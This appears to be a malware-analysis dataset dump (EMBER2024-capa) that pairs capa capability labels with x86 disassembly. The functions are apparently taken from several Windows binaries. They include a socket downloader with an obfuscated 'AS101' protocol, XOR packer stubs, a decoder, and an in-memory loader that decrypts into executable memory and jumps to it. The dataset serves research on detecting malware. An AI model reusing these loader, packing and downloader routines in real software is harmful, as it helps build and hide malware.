joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405050
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9b4
mov eax, dword [0x41a038]
xor eax, esp
mov dword [esp + 0x9b0], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
test eax, eax
lea esi, [esp + 0x1b4]
cmovne esi, eax
xor eax, eax
push edi
mov edi, dword [ebp + 8]
mov word [esi], ax
mov dword [esp + 0x14], eax
lea eax, [esp + 0x28]
push eax
push 0x101
mov dword [esp + 0x18], edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4050bb
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x9b0]
xor ecx, esp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x4050a4
push ebx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4050f7
push ebx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [esp + 0x18], eax
push 4
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x40514a
mov eax, dword [eax + 0xc]
push dword [esp + 0x10]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esp + 0x20], eax
mov eax, 2
mov word [esp + 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
push 0x10
lea eax, [esp + 0x1c]
push eax
push dword [edi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40514a
mov esi, 1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x9b0]
xor ecx, esp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
mov ecx, dword [edi]
test ecx, ecx
je 0x405159
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], esi
mov ecx, dword [esp + 0x9bc]
pop edi
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.00405aca
mov esp, ebp
pop ebp
ret

Function at 0x4052e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov eax, ecx
push esi
xor esi, esi
mov ebx, edx
mov dword [ebp - 8], eax
cmp dword [eax], esi
je 0x405368
push edi
mov edi, dword [ebp + 8]
xor eax, eax
test edi, edi
jle 0x405308
nop
not byte [eax + ebx]
inc eax
cmp eax, edi
jl 0x405300
lea eax, [edi + 7]
push eax
call fcn.004072d7
mov ecx, eax
lea eax, [edi + 5]
mov word [ecx], ax
mov eax, dword [str.AS101]
mov dword [ecx + 2], eax
mov al, byte [0x41af14]
push edi
mov byte [ecx + 6], al
lea eax, [ecx + 7]
push ebx
push eax
mov dword [ebp - 4], ecx
call fcn.0040a3f0
mov eax, dword [ebp - 8]
add esp, 0x10
lea ebx, [edi + 7]
mov edi, dword [ebp - 4]
push 0
push ebx
push edi
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x40535e
mov ecx, 1
cmp eax, ebx
cmove esi, ecx
push edi
call fcn.004076cb
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405570
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
push esi
test eax, eax
lea esi, [ebp - 0x8cc]
cmovne esi, eax
xor eax, eax
mov word [esi], ax
mov esi, dword [ecx]
xor ebx, ebx
mov dword [ebp - 0x8d0], edx
mov dword [ebp - 0x8d8], ecx
test esi, esi
je 0x4056e1
test edx, edx
je 0x4056e1
push 0xc7
mov byte [ebp - 0xcc], al
lea eax, [ebp - 0xcb]
push ebx
push eax
call fcn.00409790
add esp, 0xc
lea eax, [ebp - 0xcc]
push ebx
push 2
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4056f1
test eax, eax
je 0x4056f1
movzx eax, word [ebp - 0xcc]
mov dword [ebp - 0x8d4], eax
add eax, 2
push edi
push eax
xor esi, esi
call fcn.004072d7
mov edi, eax
mov eax, dword [ebp - 0x8d4]
add esp, 4
test eax, eax
jle 0x4056d1
lea ebx, [ebx]
push 0
sub eax, esi
push eax
lea eax, [esi + edi]
push eax
mov eax, dword [ebp - 0x8d8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4056cb
test eax, eax
je 0x4056cb
add esi, eax
mov eax, dword [ebp - 0x8d4]
cmp eax, esi
jg 0x405630
cmp esi, 5
jl 0x4056d1
mov ecx, str.AS101
sub esi, 5
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x4056d1
movzx eax, byte [ecx + 4]
cmp al, byte [edi + 4]
jne 0x4056d1
test esi, esi
jle 0x405689
lea ecx, [edi + 5]
mov edx, esi
not byte [ecx]
lea ecx, [ecx + 1]
dec edx
jne 0x405681
mov ebx, dword [ebp - 0x8dc]
mov eax, dword [ebx]
cmp eax, esi
jl 0x4056b1
push esi
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.0040a3f0
mov dword [ebx], esi
add esp, 0xc
mov ebx, 1
jmp 0x4056d1
push eax
lea eax, [edi + 5]
push eax
push dword [ebp - 0x8d0]
call fcn.0040a3f0
add esp, 0xc
mov ebx, 1
jmp 0x4056d1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test edi, edi
je 0x4056de
push edi
call fcn.004076cb
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x405710
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.0040c990
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x814]
push 0
push eax
mov dword [ebp - 0x1024], edx
mov ebx, ecx
call fcn.00409790
push ebx
lea eax, [ebp - 0x814]
push 0x1ff
push eax
call fcn.00405ce9
mov ecx, ebx
add esp, 0x18
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x405760
sub ecx, edx
sar ecx, 1
lea edi, [ebp - 0x812]
mov esi, 0x41c920
lea edi, [edi + ecx*2]
mov ecx, 0x80
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebx + 2]
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x405787
sub ebx, ecx
sar ebx, 1
push 0x10000
lea ebx, [ebx*2 + 0x202]
call fcn.00406bb7
push 0x10000
mov esi, eax
push 0
push esi
call fcn.00409790
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x1014], ax
lea eax, [ebp - 0x1012]
push eax
mov dword [ebp - 0x1020], 0x10000
call fcn.00409790
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
xor edi, edi
push eax
mov dword [ebp - 0x101c], 0
mov dword [ebp - 0x1018], edi
call fcn.00409790
add esp, 0x28
cmp dword [ebp + 0xc], edi
je 0x405824
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x40587c
push 0x104
lea eax, [ebp - 0x414]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x414]
push 0x5c
push eax
call fcn.004066f3
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405ce9
push 0x418c88
lea eax, [ebp - 0x20c]
push 0x103
push eax
call fcn.00405d45
add esp, 0x20
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 0x1024]
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebp - 0x101c]
push eax
call fcn.00405050
add esp, 8
test eax, eax
je 0x405961
lea eax, [ebp - 0x1014]
push eax
push ebx
lea eax, [ebp - 0x814]
mov ebx, 0xbba
push eax
mov edx, ebx
lea ecx, [ebp - 0x101c]
call fcn.00405170
add esp, 0xc
test eax, eax
je 0x405961
lea eax, [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1020]
push eax
push esi
lea edx, [ebp - 0x1018]
lea ecx, [ebp - 0x101c]
call fcn.00405370
add esp, 0xc
test eax, eax
je 0x405961
cmp word [ebp - 0x1018], bx
jne 0x405961
cmp dword [ebp - 0x1020], edi
je 0x405961
cmp byte [esi], 0
jne 0x405961
push 0x41c1a0
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405d45
push 0x418d08
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x1018]
push eax
mov dword [ebp - 0x1018], edi
call fcn.00405f3c
add esp, 0x18
cmp dword [ebp - 0x1018], edi
je 0x40595c
lea edx, [ebp - 0x1018]
lea ecx, [ebp - 0x101c]
call fcn.004059a0
mov edi, 1
test esi, esi
je 0x40596e
push esi
call fcn.00406c49
add esp, 4
mov ecx, dword [ebp - 0x101c]
test ecx, ecx
je 0x40597f
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x4059a0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040c990
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push 4
mov esi, ecx
lea eax, [ebp - 0x1008]
push eax
push dword [esi]
mov ebx, edx
mov dword [ebp - 0x100c], esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x4059f0
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405aca
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], edi
jbe 0x405a40
jmp 0x405a00
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x405a40
push dword [ebx]
lea eax, [ebp - 0x1004]
push esi
push 1
push eax
call fcn.004064f4
add edi, esi
mov esi, dword [ebp - 0x100c]
add esp, 0x10
cmp edi, dword [ebp - 0x1008]
jb 0x405a00
push dword [ebx]
call fcn.00406326
mov ecx, dword [ebp - 4]
add esp, 4
cmp edi, dword [ebp - 0x1008]
pop edi
sbb eax, eax
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.00405aca
mov esp, ebp
pop ebp
ret
Function at 0x410629
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a038]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00407a6a
mov dword [ebp - 0x14], eax
cmp dword [0x41bd84], edi
jne 0x41071a
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x4106a7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4107fa
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4107fa
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4107fa
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x41bd84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x41bd88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x41bd8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bd94], eax
test eax, eax
je 0x410717
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41bd90], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41073f
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x410732
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x410754
push 4
pop eax
jmp 0x4107fc
cmp dword [ebp - 0x14], edi
je 0x410754
push dword [0x41bd84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x410739
mov eax, dword [0x41bd90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x4107b2
cmp dword [0x41bd94], esi
je 0x4107b2
push eax
call ebx
push dword [0x41bd94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4107b2
test eax, eax
je 0x4107b2
call ecx
test eax, eax
je 0x4107a7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4107a7
test byte [ebp - 8], 1
jne 0x4107b2
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4107e2
mov eax, dword [0x41bd88]
cmp eax, esi
je 0x4107df
push eax
call ebx
test eax, eax
je 0x4107df
call eax
mov edi, eax
test edi, edi
je 0x4107df
mov eax, dword [0x41bd8c]
cmp eax, esi
je 0x4107df
push eax
call ebx
test eax, eax
je 0x4107df
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41bd84]
call ebx
test eax, eax
je 0x4107fa
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4107fc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405aca
leave
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x2ce3145b
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x293e030c
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x4011e0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
rcl ebx, 0x7e
sbb edx, 0x8b
not ebx
neg edi
neg edi
bswap esi
neg eax
rcr edi, 0x7c
rcl esi, 0xea
dec esi
bswap edi
imul ebx
rcr edx, 0xd7
and eax, 0x16
add edx, 0x87
ror esi, 0x23
not ebx
rcr esi, 0x13
ror edx, 0x34
neg edx
dec ebx
not ebx
imul ebx
dec esi
rol edi, 0
dec edx
or ebx, 0xa0
or edx, 0x46
not ebx
imul esi
and esi, 0x8c
and esi, 7
inc edx
dec edx
neg edx
add edx, 0x4e
neg ebx
bswap edx
imul edx
neg eax
rcr eax, 0xba
rcr edx, 0x4b
imul edi
sbb edi, 0x9a
imul esi
add edx, 0x35
imul edx
dec esi
ror ebx, 0x37
bswap eax
xor ecx, ecx
xor edi, edi
neg edi
neg ebx
mov edi, 0x19
neg esi
rol ebx, 0x8e
or ebx, 0xb2
bswap esi
or edx, 0x4e
inc ebx
not esi
rcl ebx, 0xd6
and esi, 0x97
bswap eax
sub edx, 0xf8
inc esi
and esi, 0x2d
or eax, 0xcd
not ebx
inc esi
dec edi
rcl edi, 0x4b
rol esi, 0x66
inc eax
bswap edi
neg edi
and edx, 0xa5
neg ebx
or esi, 0x75
imul ebx
dec edx
not edi
rcr edi, 0xe4
rol edi, 0x7d
inc eax
ror esi, 0xc9
rol edi, 0x9c
imul ebx
and eax, 0x2a
rcl ebx, 0xe5
and esi, 0xc
rcr edx, 0xde
and edi, 0x60
dec edi
bswap edx
ror ebx, 0x89
bswap esi
inc eax
mov ebx, 0x5d
not ebx
rcl ebx, 0xe2
mov ecx, dword [ebp + 0xc]
or ebx, 0xe9
neg eax
sub esi, 0x2b
imul edi
sub edi, 0x8d
imul ebx
rcr eax, 0xa9
mov eax, 0x83
not edx
not ebx
mov ebx, 0x90
sbb eax, 0xea
ror ebx, 0x3f
bswap esi
rcr ebx, 0xc1
not esi
dec ebx
sbb edi, 0x7f
and edx, 0x56
mov edx, 0xf9
dec eax
dec esi
not edi
dec edx
neg edx
not ebx
not esi
and esi, 0x11
bswap edx
not edi
sbb ebx, 0x7b
mov edi, 0x39
dec edi
dec ebx
add esi, 0x34
sub edi, 0x25
neg esi
bswap eax
dec ebx
inc edx
sbb ebx, 0x91
neg edi
sbb edi, 0xeb
not ebx
sbb ebx, 9
imul edx
and ebx, 0x90
neg eax
inc edx
neg edx
mov edi, dword [ebp + 8]
mov eax, esi
xor ebx, eax
xor ebx, ebx
not byte [edi]
mov eax, ebx
xor esi, ebx
mov esi, esi
add byte [edi], 0x50
xor ebx, eax
mov eax, esi
mov eax, ebx
sub byte [edi], 0x76
xor ebx, esi
mov eax, eax
mov eax, ebx
imul byte [edi]
inc edi
loop 0x401386
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4069b5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40d3d0]
jne 0x4069bf
repz ret
jmp fcn.00408259
Function at 0x407046
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405de2
and dword [ebp - 4], 0
cmp dword [0x40e268], 0
mov ebx, eax
jne 0x4070f7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4071a8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4071a8
push eax
call fcn.00405d70
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40e268], eax
call esi
push eax
call fcn.00405d70
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40e26c], eax
call esi
push eax
call fcn.00405d70
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40e270], eax
call esi
push eax
call fcn.00405d70
pop ecx
mov dword [0x40e278], eax
test eax, eax
je 0x4070f7
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405d70
pop ecx
mov dword [0x40e274], eax
mov eax, dword [0x40e274]
cmp eax, ebx
je 0x40714f
cmp dword [0x40e278], ebx
je 0x40714f
push eax
call fcn.00405deb
push dword [0x40e278]
mov esi, eax
call fcn.00405deb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40714f
test edi, edi
je 0x40714f
call esi
test eax, eax
je 0x407146
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407146
test byte [ebp - 0xc], 1
jne 0x40714f
or dword [ebp + 0x10], 0x200000
jmp 0x407188
mov eax, dword [0x40e26c]
cmp eax, ebx
je 0x407188
push eax
call fcn.00405deb
pop ecx
test eax, eax
je 0x407188
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407188
mov eax, dword [0x40e270]
cmp eax, ebx
je 0x407188
push eax
call fcn.00405deb
pop ecx
test eax, eax
je 0x407188
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40e268]
call fcn.00405deb
pop ecx
test eax, eax
je 0x4071a8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4071aa
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40345b
pop dword [ebp - 8]
mov eax, 0x5e3effd
sub eax, 0x5a3bba2
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x5c4936c
add dword [ebp - 0x18], 0x488db1df
mov dword [ebp - 0x14], 0xbf5ca9d
sub dword [ebp - 0x14], 0xd9c27e58
mov dword [ebp - 0x10], 0x17d79640
add dword [ebp - 0x10], 0x3474adee
mov dword [ebp - 0xc], 0xb7ce16c1
add dword [ebp - 0xc], 0x4831e93f
lea eax, [ebp - 0x18]
push eax
mov eax, 0xa6b91562
sub eax, 0xa678d50e
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xb37743de
add dword [ebp - 0x18], 0xc0fb2578
mov dword [ebp - 0x14], 0x5ffd7c97
sub dword [ebp - 0x14], 0x1e911b22
mov dword [ebp - 0x10], 0x879874ff
add dword [ebp - 0x10], 0xdbd6f76d
mov dword [ebp - 0xc], 0x972bd3f9
sub dword [ebp - 0xc], 0x972bd3f9
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xc5fefd15
sub eax, 0xc5bebcc5
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3a38b
push 0
call eax
mov ecx, 0x556d
xor ebx, ebx
add ebx, eax
mov edx, 0x408400
add edx, dword [ebp - 8]
mov edi, 0x6b0d8967
add edi, 0xa2bdbcea
sub dword [ebp - 4], edx
mov esi, dword [edx]
add dword [ebp - 4], edi
xor esi, edi
xor dword [ebp - 4], esi
mov dword [ebx], esi
add dword [ebp - 4], eax
add ebx, 0x13886d0e
add ebx, 0xec7792f6
add edx, 4
loop 0x403573
add eax, 0xe9d564a7
sub eax, 0xe9d41c20
xor ebx, ebx
add ebx, eax
add eax, 0xdd17f8ac
add eax, 0x22e80759
mov ecx, 0x39b90210
add ecx, 0xc686fdf0
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x31733c5d
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x523771af
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x403d8c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push 4
push 5
lea eax, [ebp - 0x14]
push 2
push eax
call fcn.00403624
add esp, 0x10
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
push esi
push 0
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push esi
call fcn.00403dfa
push esi
call fcn.00407460
pop ecx
pop ecx
dec eax
js 0x403de8
cmp byte [eax + esi], 0x2e
jne 0x403ddf
add eax, esi
push 0x40f1dc
push eax
call fcn.00407370
pop ecx
pop ecx
pop esi
leave
ret

Function at 0x403dfa
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
ret

Function at 0x403e11
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
push esi
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x208]
xor esi, esi
push eax
call fcn.00407370
lea eax, [ebp - 0x208]
push eax
call fcn.00407460
add esp, 0xc
test eax, eax
je 0x403e57
cmp byte [ebp + eax - 0x209], 0x5c
lea eax, [ebp + eax - 0x209]
jne 0x403e57
and byte [eax], 0
push 1
pop esi
lea eax, [ebp - 0x208]
push 0x40e0b0
push eax
call fcn.00407380
pop ecx
lea eax, [ebp - 0x348]
pop ecx
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x403f5d
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call fcn.00407370
pop ecx
test esi, esi
pop ecx
jne 0x403eb1
lea eax, [ebp - 0x104]
push 0x40e044
push eax
call fcn.00407380
pop ecx
pop ecx
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00407380
test byte [ebp - 0x348], 0x10
pop ecx
pop ecx
je 0x403f2a
lea eax, [ebp - 0x31c]
push 0x40e0ac
push eax
call fcn.00407280
pop ecx
test eax, eax
pop ecx
je 0x403f40
lea eax, [ebp - 0x31c]
push 0x40e0a8
push eax
call fcn.00407280
pop ecx
test eax, eax
pop ecx
je 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 1
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push eax
call fcn.00403e11
add esp, 0xc
jmp 0x403f40
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push 0
push eax
call dword [ebp + 0xc]
add esp, 0xc
test eax, eax
je 0x403f56
lea eax, [ebp - 0x348]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403e89
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
xor eax, eax
pop esi
leave
ret